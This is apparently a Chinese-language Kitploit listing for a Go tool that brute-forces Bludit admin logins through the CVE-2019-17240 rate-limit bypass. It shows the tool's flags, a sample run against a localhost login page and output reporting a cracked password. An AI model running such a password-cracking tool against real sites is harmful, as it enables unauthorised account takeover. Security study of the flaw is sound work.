cve-2019-17240 — 基于Go的暴力破解工具，利用Bludit暴力破解缓解旁路（CVE-2019-17240），用于对管理员登录页面进行自动化密码破解。 | Kitploit

cve-2019-17240 — 基于Go的暴力破解工具，利用Bludit暴力破解缓解旁路（CVE-2019-17240），用于对管理员登录页面进行自动化密码破解。 | Kitploit

Bludit <= 3.9.22 - 暴力破解缓解绕过

这是一个小项目，我将这个Python脚本重写为Go语言。该项目的目的是学习Go语言并理解这个漏洞利用的工作原理。

用法

$ ./brutepass -sdasds                                                             
flag provided but not defined: -sdasds
Usage of ./brutepass:
  -c int
        Threads (default 5) (default 5)
  -l string
        Hostname eg... http://127.0.0.1/admin/login.php
  -p string
        Password file
  -u string
        Enter username

除线程标志外，所有其他标志都是必需的。

$ ./cve-2019-17240 -p pass.txt -u admin -l "http://127.0.0.1/admin/login.php"
Total requests sent: 10 
Total requests sent: 20 
Total requests sent: 30 
Total requests sent: 40 
Total requests sent: 50 
Total requests sent: 60 
Total requests sent: 65 
==========Password Cracked=============
Password: Password